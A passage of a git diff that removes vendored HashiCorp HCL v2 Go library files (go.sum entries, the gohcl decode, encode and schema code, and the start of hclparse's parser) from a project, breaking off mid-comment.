h1:S/4uRK2UtaQttw1GenVJEynmyUenKwP++x/+DdGV/Ec= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/go-test/deep v1.0.3 h1:ZrJSEWsXzPOxaZnFteGEfooLba+ju3FYIbOrS+rQd68= -github.com/go-test/deep v1.0.3/go.mod h1:wGDj63lr65AM2AQyKZd/NYHGb0R+1RLqB8NKt3aSFNA= -github.com/golang/protobuf v1.1.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/google/go-cmp v0.3.1 h1:Xye71clBPdm5HgqGwUkwhbynsUJZhDbS20FvLhQ2izg= -github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= -github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= -github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= -github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= -github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= -github.com/kylelemons/godebug v0.0.0-20170820004349-d65d576e9348 h1:MtvEpTB6LX3vkb4ax0b5D2DHbNAUsen0Gx5wZoq3lV4= -github.com/kylelemons/godebug v0.0.0-20170820004349-d65d576e9348/go.mod h1:B69LEHPfb2qLo0BaaOLcbitczOKLWTsrBG9LczfCD4k= -github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7 h1:DpOJ2HYzCv8LZP15IdmG+YdwD2luVPHITV96TkirNBM= -github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ= -github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= -github.com/spf13/pflag v1.0.2 h1:Fy0orTDgHdbnzHcsOgfCN4LtHf0ec3wwtiwJqwvf3Gc= -github.com/spf13/pflag v1.0.2/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= -github.com/stretchr/testify v1.2.2 h1:bSDNvY7ZPG5RlJ8otE/7V6gMiyenm9RtJ7IUVIAoJ1w= -github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= -github.com/vmihailenco/msgpack v3.3.3+incompatible/go.mod h1:fy3FlTQTDXWkZ7Bh6AcGMlsjHatGryHQYUTf1ShIgkk= -github.com/zclconf/go-cty v1.2.0 h1:sPHsy7ADcIZQP3vILvTjrh74ZA175TFP5vqiNK1UmlI= -github.com/zclconf/go-cty v1.2.0/go.mod h1:hOPWgoHbaTUnI5k4D2ld+GRpFJSCe6bCM7m1q/N4PQ8= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20190426145343-a29dc8fdc734 h1:p/H982KKEjUnLJkM3tt/LemDnOc1GiZL5FCVlORJ5zo= -golang.org/x/crypto v0.0.0-20190426145343-a29dc8fdc734/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/net v0.0.0-20180811021610-c39426892332/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190502175342-a43fa875dd82 h1:vsphBvatvfbhlb4PO1BYSr9dzugGxJ/SQHoNufZJq1w= -golang.org/x/sys v0.0.0-20190502175342-a43fa875dd82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs= -golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= -golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= -gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= -gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= diff --git a/vendor/github.com/hashicorp/hcl/v2/gohcl/decode.go b/vendor/github.com/hashicorp/hcl/v2/gohcl/decode.go deleted file mode 100644 index f0d589d777..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/gohcl/decode.go +++ /dev/null @@ -1,322 +0,0 @@ -package gohcl - -import ( - "fmt" - "reflect" - - "github.com/zclconf/go-cty/cty" - - "github.com/hashicorp/hcl/v2" - "github.com/zclconf/go-cty/cty/convert" - "github.com/zclconf/go-cty/cty/gocty" -) - -// DecodeBody extracts the configuration within the given body into the given -// value. This value must be a non-nil pointer to either a struct or -// a map, where in the former case the configuration will be decoded using -// struct tags and in the latter case only attributes are allowed and their -// values are decoded into the map. -// -// The given EvalContext is used to resolve any variables or functions in -// expressions encountered while decoding. This may be nil to require only -// constant values, for simple applications that do not support variables or -// functions. -// -// The returned diagnostics should be inspected with its HasErrors method to -// determine if the populated value is valid and complete. If error diagnostics -// are returned then the given value may have been partially-populated but -// may still be accessed by a careful caller for static analysis and editor -// integration use-cases. -func DecodeBody(body hcl.Body, ctx *hcl.EvalContext, val interface{}) hcl.Diagnostics { - rv := reflect.ValueOf(val) - if rv.Kind() != reflect.Ptr { - panic(fmt.Sprintf("target value must be a pointer, not %s", rv.Type().String())) - } - - return decodeBodyToValue(body, ctx, rv.Elem()) -} - -func decodeBodyToValue(body hcl.Body, ctx *hcl.EvalContext, val reflect.Value) hcl.Diagnostics { - et := val.Type() - switch et.Kind() { - case reflect.Struct: - return decodeBodyToStruct(body, ctx, val) - case reflect.Map: - return decodeBodyToMap(body, ctx, val) - default: - panic(fmt.Sprintf("target value must be pointer to struct or map, not %s", et.String())) - } -} - -func decodeBodyToStruct(body hcl.Body, ctx *hcl.EvalContext, val reflect.Value) hcl.Diagnostics { - schema, partial := ImpliedBodySchema(val.Interface()) - - var content *hcl.BodyContent - var leftovers hcl.Body - var diags hcl.Diagnostics - if partial { - content, leftovers, diags = body.PartialContent(schema) - } else { - content, diags = body.Content(schema) - } - if content == nil { - return diags - } - - tags := getFieldTags(val.Type()) - - if tags.Remain != nil { - fieldIdx := *tags.Remain - field := val.Type().Field(fieldIdx) - fieldV := val.Field(fieldIdx) - switch { - case bodyType.AssignableTo(field.Type): - fieldV.Set(reflect.ValueOf(leftovers)) - case attrsType.AssignableTo(field.Type): - attrs, attrsDiags := leftovers.JustAttributes() - if len(attrsDiags) > 0 { - diags = append(diags, attrsDiags...) - } - fieldV.Set(reflect.ValueOf(attrs)) - default: - diags = append(diags, decodeBodyToValue(leftovers, ctx, fieldV)...) - } - } - - for name, fieldIdx := range tags.Attributes { - attr := content.Attributes[name] - field := val.Type().Field(fieldIdx) - fieldV := val.Field(fieldIdx) - - if attr == nil { - if !exprType.AssignableTo(field.Type) { - continue - } - - // As a special case, if the target is of type hcl.Expression then - // we'll assign an actual expression that evalues to a cty null, - // so the caller can deal with it within the cty realm rather - // than within the Go realm. - synthExpr := hcl.StaticExpr(cty.NullVal(cty.DynamicPseudoType), body.MissingItemRange()) - fieldV.Set(reflect.ValueOf(synthExpr)) - continue - } - - switch { - case attrType.AssignableTo(field.Type): - fieldV.Set(reflect.ValueOf(attr)) - case exprType.AssignableTo(field.Type): - fieldV.Set(reflect.ValueOf(attr.Expr)) - default: - diags = append(diags, DecodeExpression( - attr.Expr, ctx, fieldV.Addr().Interface(), - )...) - } - } - - blocksByType := content.Blocks.ByType() - - for typeName, fieldIdx := range tags.Blocks { - blocks := blocksByType[typeName] - field := val.Type().Field(fieldIdx) - - ty := field.Type - isSlice := false - isPtr := false - if ty.Kind() == reflect.Slice { - isSlice = true - ty = ty.Elem() - } - if ty.Kind() == reflect.Ptr { - isPtr = true - ty = ty.Elem() - } - - if len(blocks) > 1 && !isSlice { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: fmt.Sprintf("Duplicate %s block", typeName), - Detail: fmt.Sprintf( - "Only one %s block is allowed. Another was defined at %s.", - typeName, blocks[0].DefRange.String(), - ), - Subject: &blocks[1].DefRange, - }) - continue - } - - if len(blocks) == 0 { - if isSlice || isPtr { - if val.Field(fieldIdx).IsNil() { - val.Field(fieldIdx).Set(reflect.Zero(field.Type)) - } - } else { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: fmt.Sprintf("Missing %s block", typeName), - Detail: fmt.Sprintf("A %s block is required.", typeName), - Subject: body.MissingItemRange().Ptr(), - }) - } - continue - } - - switch { - - case isSlice: - elemType := ty - if isPtr { - elemType = reflect.PtrTo(ty) - } - sli := val.Field(fieldIdx) - if sli.IsNil() { - sli = reflect.MakeSlice(reflect.SliceOf(elemType), len(blocks), len(blocks)) - } - - for i, block := range blocks { - if isPtr { - if i >= sli.Len() { - sli = reflect.Append(sli, reflect.New(ty)) - } - v := sli.Index(i) - if v.IsNil() { - v = reflect.New(ty) - } - diags = append(diags, decodeBlockToValue(block, ctx, v.Elem())...) - sli.Index(i).Set(v) - } else { - diags = append(diags, decodeBlockToValue(block, ctx, sli.Index(i))...) - } - } - - if sli.Len() > len(blocks) { - sli.SetLen(len(blocks)) - } - - val.Field(fieldIdx).Set(sli) - - default: - block := blocks[0] - if isPtr { - v := val.Field(fieldIdx) - if v.IsNil() { - v = reflect.New(ty) - } - diags = append(diags, decodeBlockToValue(block, ctx, v.Elem())...) - val.Field(fieldIdx).Set(v) - } else { - diags = append(diags, decodeBlockToValue(block, ctx, val.Field(fieldIdx))...) - } - - } - - } - - return diags -} - -func decodeBodyToMap(body hcl.Body, ctx *hcl.EvalContext, v reflect.Value) hcl.Diagnostics { - attrs, diags := body.JustAttributes() - if attrs == nil { - return diags - } - - mv := reflect.MakeMap(v.Type()) - - for k, attr := range attrs { - switch { - case attrType.AssignableTo(v.Type().Elem()): - mv.SetMapIndex(reflect.ValueOf(k), reflect.ValueOf(attr)) - case exprType.AssignableTo(v.Type().Elem()): - mv.SetMapIndex(reflect.ValueOf(k), reflect.ValueOf(attr.Expr)) - default: - ev := reflect.New(v.Type().Elem()) - diags = append(diags, DecodeExpression(attr.Expr, ctx, ev.Interface())...) - mv.SetMapIndex(reflect.ValueOf(k), ev.Elem()) - } - } - - v.Set(mv) - - return diags -} - -func decodeBlockToValue(block *hcl.Block, ctx *hcl.EvalContext, v reflect.Value) hcl.Diagnostics { - var diags hcl.Diagnostics - - ty := v.Type() - - switch { - case blockType.AssignableTo(ty): - v.Elem().Set(reflect.ValueOf(block)) - case bodyType.AssignableTo(ty): - v.Elem().Set(reflect.ValueOf(block.Body)) - case attrsType.AssignableTo(ty): - attrs, attrsDiags := block.Body.JustAttributes() - if len(attrsDiags) > 0 { - diags = append(diags, attrsDiags...) - } - v.Elem().Set(reflect.ValueOf(attrs)) - default: - diags = append(diags, decodeBodyToValue(block.Body, ctx, v)...) - - if len(block.Labels) > 0 { - blockTags := getFieldTags(ty) - for li, lv := range block.Labels { - lfieldIdx := blockTags.Labels[li].FieldIndex - v.Field(lfieldIdx).Set(reflect.ValueOf(lv)) - } - } - - } - - return diags -} - -// DecodeExpression extracts the value of the given expression into the given -// value. This value must be something that gocty is able to decode into, -// since the final decoding is delegated to that package. -// -// The given EvalContext is used to resolve any variables or functions in -// expressions encountered while decoding. This may be nil to require only -// constant values, for simple applications that do not support variables or -// functions. -// -// The returned diagnostics should be inspected with its HasErrors method to -// determine if the populated value is valid and complete. If error diagnostics -// are returned then the given value may have been partially-populated but -// may still be accessed by a careful caller for static analysis and editor -// integration use-cases. -func DecodeExpression(expr hcl.Expression, ctx *hcl.EvalContext, val interface{}) hcl.Diagnostics { - srcVal, diags := expr.Value(ctx) - - convTy, err := gocty.ImpliedType(val) - if err != nil { - panic(fmt.Sprintf("unsuitable DecodeExpression target: %s", err)) - } - - srcVal, err = convert.Convert(srcVal, convTy) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unsuitable value type", - Detail: fmt.Sprintf("Unsuitable value: %s", err.Error()), - Subject: expr.StartRange().Ptr(), - Context: expr.Range().Ptr(), - }) - return diags - } - - err = gocty.FromCtyValue(srcVal, val) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unsuitable value type", - Detail: fmt.Sprintf("Unsuitable value: %s", err.Error()), - Subject: expr.StartRange().Ptr(), - Context: expr.Range().Ptr(), - }) - } - - return diags -} diff --git a/vendor/github.com/hashicorp/hcl/v2/gohcl/doc.go b/vendor/github.com/hashicorp/hcl/v2/gohcl/doc.go deleted file mode 100644 index c1921cb1a9..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/gohcl/doc.go +++ /dev/null @@ -1,57 +0,0 @@ -// Package gohcl allows decoding HCL configurations into Go data structures. -// -// It provides a convenient and concise way of describing the schema for -// configuration and then accessing the resulting data via native Go -// types. -// -// A struct field tag scheme is used, similar to other decoding and -// unmarshalling libraries. The tags are formatted as in the following example: -// -// ThingType string `hcl:"thing_type,attr"` -// -// Within each tag there are two comma-separated tokens. The first is the -// name of the corresponding construct in configuration, while the second -// is a keyword giving the kind of construct expected. The following -// kind keywords are supported: -// -// attr (the default) indicates that the value is to be populated from an attribute -// block indicates that the value is to populated from a block -// label indicates that the value is to populated from a block label -// optional is the same as attr, but the field is optional -// remain indicates that the value is to be populated from the remaining body after populating other fields -// -// "attr" fields may either be of type *hcl.Expression, in which case the raw -// expression is assigned, or of any type accepted by gocty, in which case -// gocty will be used to assign the value to a native Go type. -// -// "block" fields may be of type *hcl.Block or hcl.Body, in which case the -// corresponding raw value is assigned, or may be a struct that recursively -// uses the same tags. Block fields may also be slices of any of these types, -// in which case multiple blocks of the corresponding type are decoded into -// the slice. -// -// "label" fields are considered only in a struct used as the type of a field -// marked as "block", and are used sequentially to capture the labels of -// the blocks being decoded. In this case, the name token is used only as -// an identifier for the label in diagnostic messages. -// -// "optional" fields behave like "attr" fields, but they are optional -// and will not give parsing errors if they are missing. -// -// "remain" can be placed on a single field that may be either of type -// hcl.Body or hcl.Attributes, in which case any remaining body content is -// placed into this field for delayed processing. If no "remain" field is -// present then any attributes or blocks not matched by another valid tag -// will cause an error diagnostic. -// -// Only a subset of this tagging/typing vocabulary is supported for the -// "Encode" family of functions. See the EncodeIntoBody docs for full details -// on the constraints there. -// -// Broadly-speaking this package deals with two types of error. The first is -// errors in the configuration itself, which are returned as diagnostics -// written with the configuration author as the target audience. The second -// is bugs in the calling program, such as invalid struct tags, which are -// surfaced via panics since there can be no useful runtime handling of such -// errors and they should certainly not be returned to the user as diagnostics. -package gohcl diff --git a/vendor/github.com/hashicorp/hcl/v2/gohcl/encode.go b/vendor/github.com/hashicorp/hcl/v2/gohcl/encode.go deleted file mode 100644 index d612e09c9f..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/gohcl/encode.go +++ /dev/null @@ -1,191 +0,0 @@ -package gohcl - -import ( - "fmt" - "reflect" - "sort" - - "github.com/hashicorp/hcl/v2/hclwrite" - "github.com/zclconf/go-cty/cty/gocty" -) - -// EncodeIntoBody replaces the contents of the given hclwrite Body with -// attributes and blocks derived from the given value, which must be a -// struct value or a pointer to a struct value with the struct tags defined -// in this package. -// -// This function can work only with fully-decoded data. It will ignore any -// fields tagged as "remain", any fields that decode attributes into either -// hcl.Attribute or hcl.Expression values, and any fields that decode blocks -// into hcl.Attributes values. This function does not have enough information -// to complete the decoding of these types. -// -// Any fields tagged as "label" are ignored by this function. Use EncodeAsBlock -// to produce a whole hclwrite.Block including block labels. -// -// As long as a suitable value is given to encode and the destination body -// is non-nil, this function will always complete. It will panic in case of -// any errors in the calling program, such as passing an inappropriate type -// or a nil body. -// -// The layout of the resulting HCL source is derived from the ordering of -// the struct fields, with blank lines around nested blocks of different types. -// Fields representing attributes should usually precede those representing -// blocks so that the attributes can group togather in the result. For more -// control, use the hclwrite API directly. -func EncodeIntoBody(val interface{}, dst *hclwrite.Body) { - rv := reflect.ValueOf(val) - ty := rv.Type() - if ty.Kind() == reflect.Ptr { - rv = rv.Elem() - ty = rv.Type() - } - if ty.Kind() != reflect.Struct { - panic(fmt.Sprintf("value is %s, not struct", ty.Kind())) - } - - tags := getFieldTags(ty) - populateBody(rv, ty, tags, dst) -} - -// EncodeAsBlock creates a new hclwrite.Block populated with the data from -// the given value, which must be a struct or pointer to struct with the -// struct tags defined in this package. -// -// If the given struct type has fields tagged with "label" tags then they -// will be used in order to annotate the created block with labels. -// -// This function has the same constraints as EncodeIntoBody and will panic -// if they are violated. -func EncodeAsBlock(val interface{}, blockType string) *hclwrite.Block { - rv := reflect.ValueOf(val) - ty := rv.Type() - if ty.Kind() == reflect.Ptr { - rv = rv.Elem() - ty = rv.Type() - } - if ty.Kind() != reflect.Struct { - panic(fmt.Sprintf("value is %s, not struct", ty.Kind())) - } - - tags := getFieldTags(ty) - labels := make([]string, len(tags.Labels)) - for i, lf := range tags.Labels { - lv := rv.Field(lf.FieldIndex) - // We just stringify whatever we find. It should always be a string - // but if not then we'll still do something reasonable. - labels[i] = fmt.Sprintf("%s", lv.Interface()) - } - - block := hclwrite.NewBlock(blockType, labels) - populateBody(rv, ty, tags, block.Body()) - return block -} - -func populateBody(rv reflect.Value, ty reflect.Type, tags *fieldTags, dst *hclwrite.Body) { - nameIdxs := make(map[string]int, len(tags.Attributes)+len(tags.Blocks)) - namesOrder := make([]string, 0, len(tags.Attributes)+len(tags.Blocks)) - for n, i := range tags.Attributes { - nameIdxs[n] = i - namesOrder = append(namesOrder, n) - } - for n, i := range tags.Blocks { - nameIdxs[n] = i - namesOrder = append(namesOrder, n) - } - sort.SliceStable(namesOrder, func(i, j int) bool { - ni, nj := namesOrder[i], namesOrder[j] - return nameIdxs[ni] < nameIdxs[nj] - }) - - dst.Clear() - - prevWasBlock := false - for _, name := range namesOrder { - fieldIdx := nameIdxs[name] - field := ty.Field(fieldIdx) - fieldTy := field.Type - fieldVal := rv.Field(fieldIdx) - - if fieldTy.Kind() == reflect.Ptr { - fieldTy = fieldTy.Elem() - fieldVal = fieldVal.Elem() - } - - if _, isAttr := tags.Attributes[name]; isAttr { - - if exprType.AssignableTo(fieldTy) || attrType.AssignableTo(fieldTy) { - continue // ignore undecoded fields - } - if !fieldVal.IsValid() { - continue // ignore (field value is nil pointer) - } - if fieldTy.Kind() == reflect.Ptr && fieldVal.IsNil() { - continue // ignore - } - if prevWasBlock { - dst.AppendNewline() - prevWasBlock = false - } - - valTy, err := gocty.ImpliedType(fieldVal.Interface()) - if err != nil { - panic(fmt.Sprintf("cannot encode %T as HCL expression: %s", fieldVal.Interface(), err)) - } - - val, err := gocty.ToCtyValue(fieldVal.Interface(), valTy) - if err != nil { - // This should never happen, since we should always be able - // to decode into the implied type. - panic(fmt.Sprintf("failed to encode %T as %#v: %s", fieldVal.Interface(), valTy, err)) - } - - dst.SetAttributeValue(name, val) - - } else { // must be a block, then - elemTy := fieldTy - isSeq := false - if elemTy.Kind() == reflect.Slice || elemTy.Kind() == reflect.Array { - isSeq = true - elemTy = elemTy.Elem() - } - - if bodyType.AssignableTo(elemTy) || attrsType.AssignableTo(elemTy) { - continue // ignore undecoded fields - } - prevWasBlock = false - - if isSeq { - l := fieldVal.Len() - for i := 0; i < l; i++ { - elemVal := fieldVal.Index(i) - if !elemVal.IsValid() { - continue // ignore (elem value is nil pointer) - } - if elemTy.Kind() == reflect.Ptr && elemVal.IsNil() { - continue // ignore - } - block := EncodeAsBlock(elemVal.Interface(), name) - if !prevWasBlock { - dst.AppendNewline() - prevWasBlock = true - } - dst.AppendBlock(block) - } - } else { - if !fieldVal.IsValid() { - continue // ignore (field value is nil pointer) - } - if elemTy.Kind() == reflect.Ptr && fieldVal.IsNil() { - continue // ignore - } - block := EncodeAsBlock(fieldVal.Interface(), name) - if !prevWasBlock { - dst.AppendNewline() - prevWasBlock = true - } - dst.AppendBlock(block) - } - } - } -} diff --git a/vendor/github.com/hashicorp/hcl/v2/gohcl/schema.go b/vendor/github.com/hashicorp/hcl/v2/gohcl/schema.go deleted file mode 100644 index ecf6ddbac6..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/gohcl/schema.go +++ /dev/null @@ -1,174 +0,0 @@ -package gohcl - -import ( - "fmt" - "reflect" - "sort" - "strings" - - "github.com/hashicorp/hcl/v2" -) - -// ImpliedBodySchema produces a hcl.BodySchema derived from the type of the -// given value, which must be a struct value or a pointer to one. If an -// inappropriate value is passed, this function will panic. -// -// The second return argument indicates whether the given struct includes -// a "remain" field, and thus the returned schema is non-exhaustive. -// -// This uses the tags on the fields of the struct to discover how each -// field's value should be expressed within configuration. If an invalid -// mapping is attempted, this function will panic. -func ImpliedBodySchema(val interface{}) (schema *hcl.BodySchema, partial bool) { - ty := reflect.TypeOf(val) - - if ty.Kind() == reflect.Ptr { - ty = ty.Elem() - } - - if ty.Kind() != reflect.Struct { - panic(fmt.Sprintf("given value must be struct, not %T", val)) - } - - var attrSchemas []hcl.AttributeSchema - var blockSchemas []hcl.BlockHeaderSchema - - tags := getFieldTags(ty) - - attrNames := make([]string, 0, len(tags.Attributes)) - for n := range tags.Attributes { - attrNames = append(attrNames, n) - } - sort.Strings(attrNames) - for _, n := range attrNames { - idx := tags.Attributes[n] - optional := tags.Optional[n] - field := ty.Field(idx) - - var required bool - - switch { - case field.Type.AssignableTo(exprType): - // If we're decoding to hcl.Expression then absense can be - // indicated via a null value, so we don't specify that - // the field is required during decoding. - required = false - case field.Type.Kind() != reflect.Ptr && !optional: - required = true - default: - required = false - } - - attrSchemas = append(attrSchemas, hcl.AttributeSchema{ - Name: n, - Required: required, - }) - } - - blockNames := make([]string, 0, len(tags.Blocks)) - for n := range tags.Blocks { - blockNames = append(blockNames, n) - } - sort.Strings(blockNames) - for _, n := range blockNames { - idx := tags.Blocks[n] - field := ty.Field(idx) - fty := field.Type - if fty.Kind() == reflect.Slice { - fty = fty.Elem() - } - if fty.Kind() == reflect.Ptr { - fty = fty.Elem() - } - if fty.Kind() != reflect.Struct { - panic(fmt.Sprintf( - "hcl 'block' tag kind cannot be applied to %s field %s: struct required", field.Type.String(), field.Name, - )) - } - ftags := getFieldTags(fty) - var labelNames []string - if len(ftags.Labels) > 0 { - labelNames = make([]string, len(ftags.Labels)) - for i, l := range ftags.Labels { - labelNames[i] = l.Name - } - } - - blockSchemas = append(blockSchemas, hcl.BlockHeaderSchema{ - Type: n, - LabelNames: labelNames, - }) - } - - partial = tags.Remain != nil - schema = &hcl.BodySchema{ - Attributes: attrSchemas, - Blocks: blockSchemas, - } - return schema, partial -} - -type fieldTags struct { - Attributes map[string]int - Blocks map[string]int - Labels []labelField - Remain *int - Optional map[string]bool -} - -type labelField struct { - FieldIndex int - Name string -} - -func getFieldTags(ty reflect.Type) *fieldTags { - ret := &fieldTags{ - Attributes: map[string]int{}, - Blocks: map[string]int{}, - Optional: map[string]bool{}, - } - - ct := ty.NumField() - for i := 0; i < ct; i++ { - field := ty.Field(i) - tag := field.Tag.Get("hcl") - if tag == "" { - continue - } - - comma := strings.Index(tag, ",") - var name, kind string - if comma != -1 { - name = tag[:comma] - kind = tag[comma+1:] - } else { - name = tag - kind = "attr" - } - - switch kind { - case "attr": - ret.Attributes[name] = i - case "block": - ret.Blocks[name] = i - case "label": - ret.Labels = append(ret.Labels, labelField{ - FieldIndex: i, - Name: name, - }) - case "remain": - if ret.Remain != nil { - panic("only one 'remain' tag is permitted") - } - idx := i // copy, because this loop will continue assigning to i - ret.Remain = &idx - case "optional": - ret.Attributes[name] = i - ret.Optional[name] = true - default: - panic(fmt.Sprintf("invalid hcl field tag kind %q on %s %q", kind, field.Type.String(), field.Name)) - } - } - - return ret -} diff --git a/vendor/github.com/hashicorp/hcl/v2/gohcl/types.go b/vendor/github.com/hashicorp/hcl/v2/gohcl/types.go deleted file mode 100644 index a8d00f8ff2..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/gohcl/types.go +++ /dev/null @@ -1,16 +0,0 @@ -package gohcl - -import ( - "reflect" - - "github.com/hashicorp/hcl/v2" -) - -var victimExpr hcl.Expression -var victimBody hcl.Body - -var exprType = reflect.TypeOf(&victimExpr).Elem() -var bodyType = reflect.TypeOf(&victimBody).Elem() -var blockType = reflect.TypeOf((*hcl.Block)(nil)) -var attrType = reflect.TypeOf((*hcl.Attribute)(nil)) -var attrsType = reflect.TypeOf(hcl.Attributes(nil)) diff --git a/vendor/github.com/hashicorp/hcl/v2/hclparse/parser.go b/vendor/github.com/hashicorp/hcl/v2/hclparse/parser.go deleted file mode 100644 index 1dc2eccd87..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclparse/parser.go +++ /dev/null @@ -1,135 +0,0 @@ -// Package hclparse has the main API entry point for parsing both HCL native -// syntax and HCL JSON. -// -// The main HCL package also includes SimpleParse and SimpleParseFile which -// can be a simpler interface for the common case where an application just -// needs to parse a single file. The gohcl package simplifies that further -// in its SimpleDecode function, which combines hcl.SimpleParse with decoding -// into Go struct values -// -// Package hclparse, then, is useful for applications that require more fine -// control over parsing or which need to load many separate files and keep -// track of them for possible error reporting or other analysis. -package hclparse - -import ( - "fmt" - "io/ioutil" - - "github.com/hashicorp/hcl/v2" - "github.com/hashicorp/hcl/v2/hclsyntax" - "github.com/hashicorp/hcl/v2/json" -) - -// NOTE: This is the public interface for parsing. The actual parsers are -// in other packages alongside this one, with this package just wrapping them -// to provide a unified interface for the caller across all supported formats. - -// Parser is the main interface for parsing configuration files. As well as -// parsing files, a parser also retains a registry of all of the files it -// has parsed so that multiple attempts to parse the same file will return -// the same object and so the collected files can be used when printing -// diagnostics. -// -// Any diagnostics for parsing a file are only returned once on the first -// call to parse that file. Callers are expected to collect up diagnostics -// and present them together, so returning diagnostics for the same file -// multiple times would create a confusing result. -type Parser struct { - files map[string]*hcl.File -} - -// NewParser creates a new parser, ready to parse configuration files. -func NewParser() *Parser { - return &Parser{ - files: map[string]*hcl.File{}, - } -} - -// ParseHCL parses the given buffer (which is assumed to have been loaded from -// the given filename) as a native-syntax configuration file and returns the -// hcl.File object representing it. -func (p *Parser) ParseHCL(src []byte, filename string) (*hcl.File, hcl.Diagnostics) { - if existing := p.files[filename]; existing != nil { - return existing, nil - } - - file, diags := hclsyntax.ParseConfig(src, filename, hcl.Pos{Byte: 0, Line: 1, Column: 1}) - p.files[filename] = file - return file, diags -} - -// ParseHCLFile reads the given filename and parses it as a native-syntax HCL -// configuration file. An error diagnostic is returned if the given file -// cannot be read. -func (p *Parser) ParseHCLFile(filename string) (*hcl.File, hcl.Diagnostics) { - if existing := p.files[filename]; existing != nil { - return existing, nil - } - - src, err := ioutil.ReadFile(filename) - if err != nil { - return nil, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Failed to read file", - Detail: fmt.Sprintf("The configuration file %q could not be read.", filename), - }, - } - } - - return p.ParseHCL(src, filename) -} - -// ParseJSON parses the given JSON buffer (which is assumed to have been loaded -// from the given filename) and returns the hcl.File object representing it. -func (p *Parser) ParseJSON(src []byte, filename string) (*hcl.File, hcl.Diagnostics) { - if existing := p.files[filename]; existing != nil { - return existing, nil - } - - file, diags := json.Parse(src, filename) - p.files[filename] = file - return file, diags -} - -// ParseJSONFile reads the given filename and parses it as JSON, similarly to -// ParseJSON. An error diagnostic is returned 